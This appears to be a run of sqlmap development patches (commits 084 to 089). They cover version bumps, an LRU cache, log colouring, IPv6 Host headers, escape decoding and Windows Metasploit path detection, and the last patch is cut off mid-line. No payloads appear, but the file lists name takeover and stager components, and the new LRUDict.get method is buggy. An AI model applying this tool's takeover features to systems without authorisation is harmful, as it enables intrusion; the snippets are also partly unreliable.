--- lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++-- txt/checksum.md5 | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 51ed5059dcd..aa233dfc8c9 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.79" +VERSION = "1.3.1.80" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 4c65187c6ae..de9dbff848f 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1308,8 +1308,8 @@ def _(value): elif noteResponseTime: kb.responseTimes.setdefault(kb.responseTimeMode, []) kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration) - if len(kb.responseTimes) > MAX_TIME_RESPONSES: - kb.responseTimes = kb.responseTimes[-MAX_TIME_RESPONSES:] + if len(kb.responseTimes[kb.responseTimeMode]) > MAX_TIME_RESPONSES: + kb.responseTimes[kb.responseTimeMode] = kb.responseTimes[kb.responseTimeMode][-MAX_TIME_RESPONSES // 2:] if not response and removeReflection: page = removeReflectiveValues(page, payload) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 48f8f1671d6..c71c5071b63 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -22d863656bbd0c35477126043a0110f3 lib/core/settings.py +18eeffa589e845f62a7c0452ba3c373a lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -72,7 +72,7 @@ adcecd2d6a8667b22872a563eb83eac0 lib/parse/payloads.py e4ea70bcd461f5176867dcd89d372386 lib/request/basicauthhandler.py 97b7577fdfe3d8537fe9ea3a070d0507 lib/request/basic.py fc25d951217077fe655ed2a3a81552ae lib/request/comparison.py -28faffc0aeb0d8a3e78063f195488536 lib/request/connect.py +2fde12a95133b26699e26a5c56311c38 lib/request/connect.py 7cba86090b02558f04c6692cef66e772 lib/request/direct.py 2b7509ba38a667c61cefff036ec4ca6f lib/request/dns.py ceac6b3bf1f726f8ff43c6814e9d7281 lib/request/httpshandler.py From ed26dc023541ab098edf56341173c3f96631595d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 29 Jan 2019 23:44:58 +0100 Subject: [PATCH 084/800] Important patch for #3459 --- lib/core/datatype.py | 39 +++++++++++++++++++++++++++++++++++++++ lib/core/decorators.py | 16 +++++++++++----- lib/core/settings.py | 5 ++++- thirdparty/odict/odict.py | 3 ++- txt/checksum.md5 | 8 ++++---- 5 files changed, 60 insertions(+), 11 deletions(-) diff --git a/lib/core/datatype.py b/lib/core/datatype.py index 079222d1aa8..d32386f06fb 100644 --- a/lib/core/datatype.py +++ b/lib/core/datatype.py @@ -8,6 +8,8 @@ import copy import types +from thirdparty.odict.odict import OrderedDict + class AttribDict(dict): """ This class defines the sqlmap object, inheriting from Python data @@ -104,3 +106,40 @@ def __init__(self): self.dbms = None self.dbms_version = None self.os = None + +# Reference: https://www.kunxi.org/2014/05/lru-cache-in-python +class LRUDict(object): + def __init__(self, capacity): + self.capacity = capacity + self.cache = OrderedDict() + + def __len__(self): + return len(self.cache) + + def __contains__(self, key): + return key in self.cache + + def __getitem__(self, key): + try: + value = self.cache.pop(key) + self.cache[key] = value + return value + except KeyError: + return -1 + + def get(self, key): + return self.__getitem__(self, key) + + def __setitem__(self, key, value): + try: + self.cache.pop(key) + except KeyError: + if len(self.cache) >= self.capacity: + self.cache.popitem(last=False) + self.cache[key] = value + + def set(self, key, value): + self.__setitem__(key, value) + + def keys(self): + return self.cache.keys() diff --git a/lib/core/decorators.py b/lib/core/decorators.py index 3ceaa55c917..ecc29d58e63 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -7,10 +7,15 @@ import functools import hashlib +import threading +from lib.core.settings import MAX_CACHE_ITEMS +from lib.core.datatype import LRUDict from lib.core.threads import getCurrentThreadData -def cachedmethod(f, cache={}): +_lock = threading.Lock() + +def cachedmethod(f, cache=LRUDict(capacity=MAX_CACHE_ITEMS)): """ Method with a cached content @@ -19,11 +24,12 @@ def cachedmethod(f, cache={}): @functools.wraps(f) def _(*args, **kwargs): - key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff - if key not in cache: - cache[key] = f(*args, **kwargs) + with _lock: + key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff + if key not in cache: + cache[key] = f(*args, **kwargs) - return cache[key] + return cache[key] return _ diff --git a/lib/core/settings.py b/lib/core/settings.py index aa233dfc8c9..23c824d8edb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.80" +VERSION = "1.3.1.81" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -166,6 +166,9 @@ # In case of missing piece of partial union dump, buffered array must be flushed after certain size MAX_BUFFERED_PARTIAL_UNION_LENGTH = 1024 +# Maximum size of cache used in @cachedmethod decorator +MAX_CACHE_ITEMS = 256 + # Suffix used for naming meta databases in DBMS(es) without explicit database name METADB_SUFFIX = "_masterdb" diff --git a/thirdparty/odict/odict.py b/thirdparty/odict/odict.py index 9b7e9d7be27..ee7f2aa24f1 100644 --- a/thirdparty/odict/odict.py +++ b/thirdparty/odict/odict.py @@ -621,7 +621,7 @@ def pop(self, key, *args): raise KeyError(key) return val - def popitem(self, i=-1): + def popitem(self, last=True): """ Delete and return an item specified by index, not a random one as in dict. The index is -1 by default (the last item). @@ -643,6 +643,7 @@ def popitem(self, i=-1): if not self._sequence: raise KeyError('popitem(): dictionary is empty') try: + i = -1 if last else 0 key = self._sequence[i] except IndexError: raise IndexError('popitem(): index %s not valid' % i) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index c71c5071b63..3e7be18cc94 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -33,8 +33,8 @@ a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py f97e6dc62b453cc787ef7f801ee1af5b lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py -db60c6ebb63b72ed119e304b359fc1a6 lib/core/datatype.py -b7c912e2af7a3354f6d7c04f556a80b2 lib/core/decorators.py +e1f7758f433202c50426efde5eb96768 lib/core/datatype.py +1646402a733e564f05025e848b323cf9 lib/core/decorators.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py 4782353a3072e4d17c4e314daf918d8a lib/core/dump.py @@ -50,7 +50,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -18eeffa589e845f62a7c0452ba3c373a lib/core/settings.py +e9e5e6207591b134c0cf4ecf8e712ea9 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -358,7 +358,7 @@ bf318e0abbe6b2e1a167a233db7f744f thirdparty/magic/magic.py d41d8cd98f00b204e9800998ecf8427e thirdparty/multipart/__init__.py 82432cb4ef575aa16900ba221cc1dc98 thirdparty/multipart/multipartpost.py 3e502b04f3849afbb7f0e13b5fd2b5c1 thirdparty/odict/__init__.py -4174fad6be204761db349032341b7582 thirdparty/odict/odict.py +74048dca0470bc78af73f0aafccfd069 thirdparty/odict/odict.py 0105f1734f326704d2d68839084ca661 thirdparty/oset/_abc.py 54a861de0f08bb80c2e8846579ec83bd thirdparty/oset/__init__.py 6c79e6d14e031beebe6de127b53c7c93 thirdparty/oset/pyoset.py From 1f375e418ad26a824b122df5eb770a8e03d9a9e0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 30 Jan 2019 00:45:38 +0100 Subject: [PATCH 085/800] Fixing unhandled exception message and removing sticky level logic --- lib/core/common.py | 17 +++++------------ lib/core/dump.py | 2 -- lib/core/option.py | 1 - lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 1 - sqlmap.py | 4 ++-- txt/checksum.md5 | 12 ++++++------ 7 files changed, 14 insertions(+), 25 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index ffaeb04d43b..aafeb5b1b8c 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -872,9 +872,9 @@ def boldifyMessage(message): return retVal -def setColor(message, color=None, bold=False): +def setColor(message, color=None, bold=False, level=None): retVal = message - level = extractRegexResult(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel") + level = level or extractRegexResult(r"\[(?P%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) if isinstance(level, unicode): level = unicodeencode(level) @@ -884,11 +884,7 @@ def setColor(message, color=None, bold=False): retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None) elif level: level = getattr(logging, level, None) if isinstance(level, basestring) else level - if message != '.': - retVal = LOGGER_HANDLER.colorize(message, level) - kb.stickyLevel = level if message and message[-1] != "\n" else None - else: - kb.stickyLevel = None + retVal = LOGGER_HANDLER.colorize(message, level) return retVal @@ -999,7 +995,6 @@ def readInput(message, default=None, checkBatch=True, boolean=False): """ retVal = None - kb.stickyLevel = None message = getUnicode(message) @@ -2039,7 +2034,6 @@ def clearConsoleLine(forceOutput=False): dataToStdout("\r%s\r" % (" " * (getConsoleWidth() - 1)), forceOutput) kb.prependFlag = False - kb.stickyLevel = None def parseXmlFile(xmlFile, handler): """ @@ -3358,8 +3352,7 @@ def unhandledExceptionMessage(): errMsg += "repository at '%s'. If the exception persists, please open a new issue " % GIT_PAGE errMsg += "at '%s' " % ISSUES_PAGE errMsg += "with the following text and any other information required to " - errMsg += "reproduce the bug. The " - errMsg += "developers will try to reproduce the bug, fix it accordingly " + errMsg += "reproduce the bug. Developers will try to reproduce the bug, fix it accordingly " errMsg += "and get back to you\n" errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:] errMsg += "Python version: %s\n" % PYVERSION @@ -3495,7 +3488,7 @@ def maskSensitiveData(msg): retVal = retVal.replace(match.group(3), '*' * len(match.group(3))) # Fail-safe substitution - retVal = re.sub(r"(?i)\bhttps?://[^ ]+", lambda match: '*' * len(match.group(0)), retVal) + retVal = re.sub(r"(?i)(Command line:.+)\b(https?://[^ ]+)", lambda match: "%s%s" % (match.group(1), '*' * len(match.group(2))), retVal) if getpass.getuser(): retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal) diff --git a/lib/core/dump.py b/lib/core/dump.py index ddbf3209e98..d1fc8ba946a 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -112,8 +112,6 @@ def singleString(self, data, content_type=None): self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): - kb.stickyLevel = None - if conf.api: self._write(data, content_type=content_type) return diff --git a/lib/core/option.py b/lib/core/option.py index eabf65a1c65..5d5ae57b96a 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1881,7 +1881,6 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.reduceTests = None kb.tlsSNI = {} kb.stickyDBMS = False - kb.stickyLevel = None kb.storeCrawlingChoice = None kb.storeHashesChoice = None kb.suppressResumeInfo = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 23c824d8edb..39266d22836 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.81" +VERSION = "1.3.1.82" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index ce869360e7e..ba6d7085c8c 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -645,7 +645,6 @@ def blindThread(): abortedFlag = True finally: kb.prependFlag = False - kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: diff --git a/sqlmap.py b/sqlmap.py index 087983447e7..ce56b852719 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -53,6 +53,7 @@ from lib.core.data import kb from lib.core.common import unhandledExceptionMessage from lib.core.common import MKSTEMP_PREFIX + from lib.core.common import setColor from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException @@ -339,8 +340,7 @@ def main(): logger.critical("%s\n%s" % (errMsg, excMsg)) else: logger.critical(errMsg) - kb.stickyLevel = logging.CRITICAL - dataToStdout(excMsg) + dataToStdout("%s\n" % setColor(excMsg.strip(), level=logging.CRITICAL)) createGithubIssue(errMsg, excMsg) finally: diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 3e7be18cc94..fb80525dd8c 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,27 +30,27 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -f97e6dc62b453cc787ef7f801ee1af5b lib/core/common.py +76825cafb1916b85a8738493de8607c6 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py e1f7758f433202c50426efde5eb96768 lib/core/datatype.py 1646402a733e564f05025e848b323cf9 lib/core/decorators.py 5f4680b769ae07f22157bd832c97cf8f lib/core/defaults.py 9dfc69ba47209a4ceca494dde9ee8183 lib/core/dicts.py -4782353a3072e4d17c4e314daf918d8a lib/core/dump.py +13ca1a870fa0b01b9593f25e9e93ed9c lib/core/dump.py 5c91145204092b995ed1ac641e9e291d lib/core/enums.py 84ef8f32e4582fcc294dc14e1997131d lib/core/exception.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -b56df9d9426027f3450432c2b6428485 lib/core/option.py +b39587efbf4aef1283c0bbf1e723a8ab lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -e9e5e6207591b134c0cf4ecf8e712ea9 lib/core/settings.py +8a8ee76f9b901b16929cf875807a7690 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py @@ -91,7 +91,7 @@ d55029a4c048e345fbb07a8f91604d83 lib/takeover/metasploit.py ad038ac567f97a4b940b7987792d64a4 lib/takeover/udf.py 915a3fbd557fb136bd0e16c46d993be3 lib/takeover/web.py 1aadcdc058bb813d09ad23d26ea2a6b5 lib/takeover/xp_cmdshell.py -034490840639b5ca2bc97af4cb14f449 lib/techniques/blind/inference.py +96f120e4299baaea4defd902afc85979 lib/techniques/blind/inference.py fb6be55d21a70765e35549af2484f762 lib/techniques/blind/__init__.py fb6be55d21a70765e35549af2484f762 lib/techniques/dns/__init__.py ea48db4c48276d7d0e71aa467c0c523f lib/techniques/dns/test.py @@ -236,7 +236,7 @@ ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_ 0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_ 2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_ 41522f8ad02ac133ca0aeaab374c36a8 sqlmapapi.py -3926fb4ba81b03abede53d507ab89aab sqlmap.py +76998d373c6aef8d36d617a9b21d6eaf sqlmap.py 772fb3dd15edc9d4055ab9f9dee0c203 tamper/0x2char.py 3d89a5c4c33d4d1d9303f5e3bd11f0ae tamper/apostrophemask.py 1fd0eec63970728c1e6628b2e4c21d81 tamper/apostrophenullencode.py From 82aa481e0667d0653149f6594ee6cf9002d150c8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 30 Jan 2019 01:30:30 +0100 Subject: [PATCH 086/800] Patch for IPv6 addresses (proper Host header) --- lib/core/common.py | 3 +++ lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 6 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index aafeb5b1b8c..1e95a050c3b 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4149,6 +4149,9 @@ def getHostHeader(url): elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): retVal = retVal.split(':')[0] + if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): + retVal = "[%s]" % retVal + return retVal def checkDeprecatedOptions(args): diff --git a/lib/core/settings.py b/lib/core/settings.py index 39266d22836..0d3d861d838 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.82" +VERSION = "1.3.1.83" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index fb80525dd8c..9e3887cb555 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -76825cafb1916b85a8738493de8607c6 lib/core/common.py +872f111e8283a4d36cd56f19d26cd13d lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py e1f7758f433202c50426efde5eb96768 lib/core/datatype.py @@ -50,7 +50,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -8a8ee76f9b901b16929cf875807a7690 lib/core/settings.py +0e382a4dfbcfa74d104d172f53beff98 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py From bd74a201d5b63f3d3b3545bb3f4f4fc95a7dd492 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 4 Feb 2019 15:49:13 +0100 Subject: [PATCH 087/800] Update regarding #3466 --- lib/core/common.py | 26 ++++++++++++++++++++++++++ lib/core/option.py | 17 +++++------------ lib/core/settings.py | 2 +- txt/checksum.md5 | 6 +++--- 4 files changed, 35 insertions(+), 16 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 1e95a050c3b..0a37a4c4c50 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3535,6 +3535,32 @@ def intersect(containerA, containerB, lowerCase=False): return retVal +def decodeStringEscape(value): + """ + Decodes escaped string values (e.g. "\\t" -> "\t") + """ + + retVal = value + + if value and '\\' in value: + if isinstance(value, unicode): + retVal = retVal.encode(UNICODE_ENCODING) + + try: + retVal = codecs.escape_decode(retVal)[0] + except: + try: + retVal = retVal.decode("string_escape") + except: + charset = string.whitespace.replace(" ", "") + for _ in charset: + retVal = retVal.replace(repr(_).strip("'"), _) + + if isinstance(value, unicode): + retVal = getUnicode(retVal) + + return retVal + def removeReflectiveValues(content, payload, suppressWarning=False): """ Neutralizes reflective values in a given content based on a payload diff --git a/lib/core/option.py b/lib/core/option.py index 5d5ae57b96a..37c012bc74b 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -33,6 +33,7 @@ from lib.core.common import boldifyMessage from lib.core.common import checkFile from lib.core.common import dataToStdout +from lib.core.common import decodeStringEscape from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString from lib.core.common import findLocalPort @@ -1500,11 +1501,8 @@ def _cleanupOptions(): else: conf.rParam = [] - if conf.paramDel and '\\' in conf.paramDel: - try: - conf.paramDel = conf.paramDel.decode("string_escape") - except ValueError: - pass + if conf.paramDel: + conf.paramDel = decodeStringEscape(conf.paramDel) if conf.skip: conf.skip = conf.skip.replace(" ", "") @@ -1616,7 +1614,7 @@ class _(unicode): conf.code = int(conf.code) if conf.csvDel: - conf.csvDel = conf.csvDel.decode("string_escape") # e.g. '\\t' -> '\t' + conf.csvDel = decodeStringEscape(conf.csvDel) if conf.torPort and isinstance(conf.torPort, basestring) and conf.torPort.isdigit(): conf.torPort = int(conf.torPort) @@ -1629,12 +1627,7 @@ class _(unicode): setPaths(paths.SQLMAP_ROOT_PATH) if conf.string: - try: - conf.string = conf.string.decode("unicode_escape") - except: - charset = string.whitespace.replace(" ", "") - for _ in charset: - conf.string = conf.string.replace(_.encode("string_escape"), _) + conf.string = decodeStringEscape(conf.string) if conf.getAll: map(lambda _: conf.__setitem__(_, True), WIZARD.ALL) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0d3d861d838..fc82c1b29a1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.1.83" +VERSION = "1.3.2.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 9e3887cb555..481d124e9f8 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -30,7 +30,7 @@ c1da277517c7ec4c23e953a51b51e203 lib/controller/handler.py fb6be55d21a70765e35549af2484f762 lib/controller/__init__.py ed7874be0d2d3802f3d20184f2b280d5 lib/core/agent.py a932126e7d80e545c5d44af178d0bc0c lib/core/bigarray.py -872f111e8283a4d36cd56f19d26cd13d lib/core/common.py +abbe98412255c4856ef30a15da8136a2 lib/core/common.py de8d27ae6241163ff9e97aa9e7c51a18 lib/core/convert.py abcb1121eb56d3401839d14e8ed06b6e lib/core/data.py e1f7758f433202c50426efde5eb96768 lib/core/datatype.py @@ -43,14 +43,14 @@ e1f7758f433202c50426efde5eb96768 lib/core/datatype.py fb6be55d21a70765e35549af2484f762 lib/core/__init__.py 18c896b157b03af716542e5fe9233ef9 lib/core/log.py fa9f24e88c81a6cef52da3dd5e637010 lib/core/optiondict.py -b39587efbf4aef1283c0bbf1e723a8ab lib/core/option.py +9357506018d15f30cffb99a0005d7f1c lib/core/option.py fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 4b12aa67fbf6c973d12e54cf9cb54ea0 lib/core/profiling.py 5e2c16a8e2daee22dd545df13386e7a3 lib/core/readlineng.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -0e382a4dfbcfa74d104d172f53beff98 lib/core/settings.py +6b0f9c399579d0b7fdc90a4653d16424 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py From 683b587fa5d717fa33c073629ce71e4f413e0af1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 4 Feb 2019 15:54:57 +0100 Subject: [PATCH 088/800] Minor update --- extra/shutils/postcommit-hook.sh | 3 ++- lib/core/settings.py | 2 +- txt/checksum.md5 | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/extra/shutils/postcommit-hook.sh b/extra/shutils/postcommit-hook.sh index eb3db6c4e0e..07d91a222b7 100755 --- a/extra/shutils/postcommit-hook.sh +++ b/extra/shutils/postcommit-hook.sh @@ -11,6 +11,7 @@ chmod +x .git/hooks/post-commit ' SETTINGS="../../lib/core/settings.py" +PYPI="../../extra/shutils/pypi.sh" declare -x SCRIPTPATH="${0}" @@ -28,6 +29,6 @@ then git tag $NEW_TAG git push origin $NEW_TAG echo "Going to push PyPI package" - /bin/bash ${SCRIPTPATH%/*}/pypi.sh + /bin/bash ${SCRIPTPATH%/*}/$PYPI fi fi diff --git a/lib/core/settings.py b/lib/core/settings.py index fc82c1b29a1..ff0d44e2484 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.2.0" +VERSION = "1.3.2.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/txt/checksum.md5 b/txt/checksum.md5 index 481d124e9f8..8882ead52b0 100644 --- a/txt/checksum.md5 +++ b/txt/checksum.md5 @@ -50,7 +50,7 @@ fe370021c6bc99daf44b2bfc0d1effb3 lib/core/patch.py 7d8a22c582ad201f65b73225e4456170 lib/core/replication.py 3179d34f371e0295dd4604568fb30bcd lib/core/revision.py d6269c55789f78cf707e09a0f5b45443 lib/core/session.py -6b0f9c399579d0b7fdc90a4653d16424 lib/core/settings.py +b4f1b03bd5a6ec82fd2b84b6eccba5c9 lib/core/settings.py 4483b4a5b601d8f1c4281071dff21ecc lib/core/shell.py 10fd19b0716ed261e6d04f311f6f527c lib/core/subprocessng.py 9c7b5c6397fb3da33e7a4d7876d159c6 lib/core/target.py From 6fe827f0a4205ede8a0c1842b981f5617ee733ef Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 4 Feb 2019 16:05:16 +0100 Subject: [PATCH 089/800] Fixes #3465 --- lib/core/option.py | 12 ++++++------ lib/core/settings.py | 2 +- txt/checksum.md5 | 4 ++-- 3 files changed, 9 insertions(+), 9 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 37c012bc74b..44c43dc955c 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -547,11 +547,11 @@ def _(key, value): if conf.msfPath: for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): - if any(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfcli", "msfconsole")): + if any(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): msfEnvPathExists = True - if all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfvenom",)): + if all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): kb.oldMsf = False - elif all(os.path.exists(normalizePath(os.path.join(path, _))) for _ in ("msfencode", "msfpayload")): + elif all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): kb.oldMsf = True else: msfEnvPathExists = False @@ -586,11 +586,11 @@ def _(key, value): for envPath in envPaths: envPath = envPath.replace(";", "") - if any(os.path.exists(normalizePath(os.path.join(envPath, _))) for _ in ("msfcli", "msfconsole")): + if 